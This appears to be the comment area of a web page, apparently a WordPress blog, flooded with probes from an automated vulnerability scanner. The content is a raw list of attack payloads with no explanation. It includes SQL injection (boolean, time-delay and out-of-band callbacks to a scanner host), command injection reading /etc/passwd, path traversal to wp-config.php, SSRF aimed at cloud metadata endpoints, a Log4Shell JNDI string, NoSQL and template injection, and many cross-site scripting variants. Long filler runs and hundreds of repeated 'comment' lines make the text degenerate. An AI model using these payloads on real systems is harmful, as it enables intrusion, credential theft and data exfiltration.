aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
comment’;+exec+master..xp_dirtree+”//e58bec6046c93a70786719ea46d92280b8a79a67.oob.appspidered.rapid7.com/a”–
comment’;+SELECT+*+FROM+OPENROWSET(‘SQLOLEDB’,+’ae982ee5735c8994ab6f3078a23e1e9714c3c72b.oob.appspidered.rapid7.com’;’sa’;’pwd’,+’SELECT+1′)–
comment’;+SELECT+LOAD_FILE(‘\\\\31e2f11be8166312814c8b3e5aa329a4da0e386e.oob.appspidered.rapid7.com\\a’)#
comment’;+SELECT+’hello’+INTO+DUMPFILE+’\\\\e201ac12b4fa9b1dde5df9537a2b500b389b66ae.oob.appspidered.rapid7.com\\a’#
comment’;+copy+(SELECT+”)+to+program+’nslookup+6dc189b55ff2cb415696ff48851ad21f305e9714.oob.appspidered.rapid7.com’–
comment’+ORDER+BY+(CASE+WHEN+(1=0)+THEN+NULL+ELSE+UTL_HTTP.REQUEST(‘http://74b370196b6876d1b092cd4091159c779325564e.oob.appspidered.rapid7.com/’)+END)–
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(141297,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(59687,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(65655,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(52715,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(38786,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(349206,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(384126,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(178663,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(196529,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(216181,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’;+exec+master..xp_dirtree+”//10171e7bf438ee70301d5b85ce8ddab9028f4eb9.oob.appspidered.rapid7.com/a”–
comment’;+SELECT+*+FROM+OPENROWSET(‘SQLOLEDB’,+’ff63ec33a389d8e6908bda0f9c2ebad3881d2e08.oob.appspidered.rapid7.com’;’sa’;’pwd’,+’SELECT+1′)–
comment’;+SELECT+LOAD_FILE(‘\\\\aa5832935100422531afe6ee34bb15e65ea7d446.oob.appspidered.rapid7.com\\a’)#
comment’;+SELECT+’hello’+INTO+DUMPFILE+’\\\\556b0e35bc059ee52c7631981ddc64273e3fcd46.oob.appspidered.rapid7.com\\a’#
comment’;+copy+(SELECT+”)+to+program+’nslookup+50904afd69abe11b75a980f8aab6edbb0973a7d4.oob.appspidered.rapid7.com’–
comment’+ORDER+BY+(CASE+WHEN+(1=0)+THEN+NULL+ELSE+UTL_HTTP.REQUEST(‘http://9f94599f93cf324850183f45de1714ac32f9c0cf.oob.appspidered.rapid7.com/’)+END)–
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
comment
comment
comment
commentx789b3gm
x79pkfqu'”x79pkfqu
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
‘comment
comment’
comment”
comment’
comment
comment$0
comment;/etc/passwd
comment|/bin/cat /etc/passwd
comment|/bin/cat /etc/passwd|
comment;/etc/hosts
comment|/bin/cat /etc/hosts
comment|/bin/cat /etc/hosts|
comment;/usr/bin/id
comment|/bin/cat /usr/bin/id
comment|/bin/cat /usr/bin/id|
type c:\boot.ini
comment&dir
comment&ipconfig
echo foobar x7i5j8j0
comment&& echo foobar x7js99va
comment| echo foobar x7kdvxq0
comment| echo foobar x7ky32p0|
comment< echo foobar x7lpyhg9
netstat -na
comment&&netstat -na
comment|netstat -na
comment|netstat -na|
comment;netstat ;
comment<netstat -na
ping -h
comment
comment|ping -h|
comment<ping -h
$LANG
comment
comment<$LANG
;TIMEOUT /T 10 /NOBREAK;
comment
${applicationScope}
comment
comment
/etc/passwd
\WINDOWS\system32\drivers\etc\hosts
C:\WINDOWS\system32\drivers\etc\hosts
..\..\..\..\..\..\WINDOWS\system32\drivers\etc\hosts
..\..\..\..\..\..\WINDOWS\system32\drivers\etc\hosts.htm
wp-comments-post.php
/wp-comments-post.php
../../../../../../../../../../etc/hosts
< /etc/passwd
/.
\.
c:\.
http://appspidered.rapid7.com/
http://appspidered.rapid7.com/
appspidered.rapid7.com/
wp-comments-post.php.
../wp-comments-post.php.
../../wp-comments-post.php.
c:\boot.ini.
c:\boot.ini
d:\boot.ini
../../../../../../boot.ini.
../../../../../../boot.ini
noexistnoexist.
../../../../../../../../../../etc/hosts.
/..
\..
c:\..
/../../../../../../../../../../..
/etc/passwd
file:/etc/passwd
file:/wp-comments-post.php
/WEB-INF/web.xml
WEB-INF/web.xml
file:WEB-INF/web.xml
/../../WEB-INF/web.xml
\WEB-INF\web.xml
/../../../../../../../../../../.
noexistnoexist
/.
/.
http://localhost/
http://localhost:22/
package.json.bak
package.json.bak
package.json.bak%00
../wp-config.php
http://appspidered.rapid7.com/rfi/x7n845zb
comment
/../../../../../../../../../../vendor.js
../../../../../
..\..\..\..\..\
commentcommentcomment
655321
./*][
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
‘comment
comment’
comment”
comment’
comment%’
comment
comment%u0027
comment%27
comment”
comment%”
comment
comment%u0022
comment%22
< /etc/passwd
a
b
1e309
char(0x27)char(0x27)comment
comment
comment
comment
comment
%u2018comment
%u2019comment
comment
comment
%u201acomment
%u201bcomment
%u201ccomment
%u201dcomment
%u201ecomment
— comment
/*comment
commentʼ
{comment
{‘comment
{“comment
{comment
{‘comment
{“comment
comment{
comment’}
comment”}
comment}
comment’}
comment”}
comment/
comment/’
comment/”
comment/
/’comment
comment/”
comment”}, {x7uhaydv:{$meta: “textScore
comment’}, {x7uz06z9:{$meta: ‘textScore
comment”}}, {x7vh4yja:{$meta: “textScore
comment’}, {x7v0u65a:{$meta: ‘textScore
x7wmps60
x7w7xx5i
x7xrw4x2: x7xrw4x2
comment
comment” && sleep(00) && “1”!=”1
comment” && sleep(10000) && “1”!=”1
comment” && “1”==”0
comment” && “1”==”1
comment’ && ‘1’==’0
comment’ && ‘1’==’1
comment’;+exec+master..xp_dirtree+”//e58bec6046c93a70786719ea46d92280b8a79a67.oob.appspidered.rapid7.com/a”–
comment’;+SELECT+*+FROM+OPENROWSET(‘SQLOLEDB’,+’ae982ee5735c8994ab6f3078a23e1e9714c3c72b.oob.appspidered.rapid7.com’;’sa’;’pwd’,+’SELECT+1′)–
comment’;+SELECT+LOAD_FILE(‘\\\\31e2f11be8166312814c8b3e5aa329a4da0e386e.oob.appspidered.rapid7.com\\a’)#
comment’;+SELECT+’hello’+INTO+DUMPFILE+’\\\\e201ac12b4fa9b1dde5df9537a2b500b389b66ae.oob.appspidered.rapid7.com\\a’#
comment’;+copy+(SELECT+”)+to+program+’nslookup+6dc189b55ff2cb415696ff48851ad21f305e9714.oob.appspidered.rapid7.com’–
comment’+ORDER+BY+(CASE+WHEN+(1=0)+THEN+NULL+ELSE+UTL_HTTP.REQUEST(‘http://74b370196b6876d1b092cd4091159c779325564e.oob.appspidered.rapid7.com/’)+END)–
http://appspidered.rapid7.com/xss/script/5e18cbd4a813299872a57727cba3e7fa5307b83d
http://appspidered.rapid7.com/xss/script/c811e4f1e60ed7dd04583e633462c06fd32615d1
http://appspidered.rapid7.com/xss/script/075c10eed5f901e7e1e736c42bf113a5c08478b0
http://appspidered.rapid7.com/xss/script/27d08523a8228a559c8b28ce09a7cc02c22f33a7
https://appspidered.rapid7.com/xss/script/96df4ee2fffbc3214d9a816707cc049599b774ce
https://appspidered.rapid7.com/xss/script/e10a1da549666c09b836fe51d3893ceb54d8133c
https://appspidered.rapid7.com/xss/script/30392638fc91e264c30f90704d9da0146ebefdfb
https://appspidered.rapid7.com/xss/script/22cd59a2fdfa9e2628f575efa6bb261a3f374bbc
http://appspidered.rapid7.com/xss/script/8a735931314ef9e6a375850a634196504ff905e2
http://appspidered.rapid7.com/xss/script/aca72aa8950afa5d0e673d3d73b84da1a1a2bc00
http://appspidered.rapid7.com/xss/script/4f3ba2f880745b697bd718613f6a976ba388c537
http://appspidered.rapid7.com/xss/script/4e6dd461b87eda23a075b22c4340907b9acea67f
https://appspidered.rapid7.com/xss/script/4f4dec209d048f29c6b922535a9c9e0c7434b138
https://appspidered.rapid7.com/xss/script/2ca43d51ff4a79a3581df0e301f1d0b741120bc3
https://appspidered.rapid7.com/xss/script/2232b0fa932403f3c8dd3c2353cb174f63020b3b
https://appspidered.rapid7.com/xss/script/70819852071828a4cc4e0128de72d6fef190152d
appspidered.rapid7.com/xss/script/60d286a52f26c6dae1b6887497e9749d4fd6b9ae
appspidered.rapid7.com/xss/script/f3750bf2e12359b0678a314d320e2e20cca2d58a
appspidered.rapid7.com/xss/script/26ba9d205e895befa05972d5b5a159fe41e48644
appspidered.rapid7.com/xss/script/6563ef79fedb6cbcd9696f61383007b8cd999589
alert(2938571)
alert(3077872)
alert(3327803)
alert(3454811)
“>alert(3590021)
“>alert(3758000)
“>alert(3889100)
“>alert(4020199)
‘>alert(4151302)
‘>alert(4278316)
‘>alert(4421717)
‘>alert(4573304)
“>
“>
“>
“>
‘>
‘>
‘>
‘>
{constructor.constructor(6482563)}
{constructor.constructor(6650535)}
{constructor.constructor(6818514)}
{constructor.constructor(6994683)}
‘comment
comment’
comment”
comment’
comment%’
comment
comment%u0027
comment%27
comment%”
comment
comment%u0022
comment%22
LIMIT a
1e309
char(0x27)char(0x27)comment
%u2018comment
%u2019comment
%u201acomment
%u201bcomment
%u201ccomment
%u201dcomment
%u201ecomment
— comment
/*comment
commentʼ
comment’ UNION ALL select NULL —
comment” UNION ALL select NULL —
SELECT * FROM “master”
SELECC * FROM “ds”
*
|
comment|
&
comment&
comment)
!comment
http://appspidered.rapid7.com/
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/metadata/instance/compute?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0?api-version=2019-08-15
http://169.254.169.254/metadata/instance/network/interface/0?api-version=2019-08-15
‘.phpinfo().’
http://www.example.com/
https://example.com/
ftp://example.com/
http://example.com/
gopher://example.com/
example.com/
.example.com/
https://example.com/comment
${jndi:ldap://16de4246f1733be90fa76543f09e928ae3584950.oob.appspidered.rapid7.${lower:COM}}
x71iudy2<x71iudy2
x715xx62’x715xx62
x72panv9″x72panv9
x729wbrp>x729wbrp
x73tvijy
=alert(16688209)
=alert(54397)
=alert(189608)
=alert(345290)
‘alert(476388)
‘alert(611591)
‘alert(828737)
‘alert(1021330)
abc
abc
abc
abc
abc
abc
abc
abc
comment”>
comment”>
comment”>
comment”>
abc
abc
abc
abc
@import’x7phmclq’;
@import’x7p170g5′;
@import’x7qmtocb’;
@import’x7q7fb7q’;
ADw-script AD4-alert(5380638) ADw-/script AD4-
ADw-script AD4-alert(5511736) ADw-/script AD4-
+ADw-script+AD4-alert(5655128)+ADw-/script+AD4-
+ADw-script+AD4-alert(5786234)+ADw-/script+AD4-
abc
abc
abc
abc
comment’>
comment’>
comment’>
comment’>
alert`7593064`
alert`7761048`
alert`7900349`
alert`8035556`
prompt`8203540`
prompt`8338765`
prompt`8473991`
prompt`8617386`
top[‘al’ ‘ert’](8748490)
top[‘al’ ‘ert’](8875498)
top[‘al’+’ert’](9014801)
top[‘al’+’ert’](9158199)
aler\u0074(9305680);
aler\u0074(9436778);
aler\u0074(9604758);
aler\u0074(9862890);
MOUSEOVER ME
MOUSEOVER ME
MOUSEOVER ME
MOUSEOVER ME
c
c
c
c
\”http://example.com/ ‘ onmouseover=alert(11317486) ‘
\”http://example.com/ ‘ onmouseover=alert(11489581) ‘
\”http://example.com/ ‘ onmouseover=alert(11616596) ‘
\”http://example.com/ ‘ onmouseover=alert(11743613) ‘
alert(11911612)
alert(12190255)
alert(12354144)
alert(12493455)
“><img src=x onerror="alert(12636858)
“><img src=x onerror="alert(12845816)
“><img src=x onerror="alert(13050663)
“><img src=x onerror="alert(13218637)
comment’ AND ‘1’=’0
comment’ AND ‘1’=’1
comment” AND “1”=”0
comment” AND “1”=”1
comment’ AND 1=0/*
comment’ AND 1=1/*
comment’ AND 1=0)/*
comment’ AND 1=1)/*
comment’ AND 1=0–
comment’ AND 1=1–
comment’ AND 1=0)–
comment’ AND 1=1)–
comment’) AND (‘1’=’0
comment’) AND (‘1’=’1
comment”) AND (“1″”=”0
comment”) AND (“1″”=”1
comment’ AND 1=0 LIMIT 1–
comment’ AND 1=1 LIMIT 1–
REPEAT(0x636f6d6d656e74,2)
REPEAT(0x636f6d6d656e74,1)
comment OR 1=1
comment OR 1=0
comment’ OR ‘1’=’1
comment’ OR ‘1’=’0
comment” OR “1”=”1
comment” OR “1”=”0
comment’) OR (‘1’=’1
comment’) OR (‘1’=’0
comment”) OR (“1″=”1
comment”) OR (“1″=”0
comment’ OR 1=1 ##
comment’ OR 1=0 ##
comment’ OR 1=1 —
comment’ OR 1=0 —
comment’ OR ‘1’=’0
comment’ OR ‘1’=’1
comment” OR “1”=”0
comment” OR “1”=”1
comment’) OR (‘1’=’0
comment’) OR (‘1’=’1
comment”) OR (“1″=”0
comment”) OR (“1″=”1
comment’ OR 1=0 ##
comment’ OR 1=1 ##
comment’ OR 1=0 —
comment’ OR 1=1 —
comment’) AND ‘1’ in (‘0
comment’) AND ‘1’ in (‘1
comment”) AND “1” in (“0
comment”) AND “1” in (“1
comment’) OR ‘1’ in (‘0
comment’) OR ‘1’ in (‘1
comment”) OR “1” in (“0
comment”) OR “1” in (“1
comment DESC
comment ASC
1, comment DESC
1, comment ASC
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’)) ) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(1,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(200000,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(141297,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(59687,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(65655,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(52715,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select BENCHMARK(38786,AES_DECRYPT(AES_ENCRYPT(‘EncryptedString’,’EncryptionKey’),’EncryptionKey’))) —
comment’ and 1 in (select*from(select(sleep(00)))a) —
comment’ and 1 in (select*from(select(sleep(05)))a) —
‘ (select*from(select(sleep(00)))a) ‘
‘ (select*from(select(sleep(05)))a) ‘
comment’);WAITFOR DELAY ’00:00:00′–
comment’);WAITFOR DELAY ’00:00:05′–
comment’ OR 1=1 ##
comment’ OR 1=0 ##
comment’ OR 1=1 —
comment’ OR 1=0 —
comment
comment AND pg_sleep(00) is not null
comment AND pg_sleep(05) is not null
comment ‘;select pg_sleep(00);– –
comment ‘;select pg_sleep(05);– –
comment ;select pg_sleep(00);– –
comment ;select pg_sleep(05);– –
{{ 58719 * 21973 }}
{{ 62951705 + 74179523 }}
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
comment
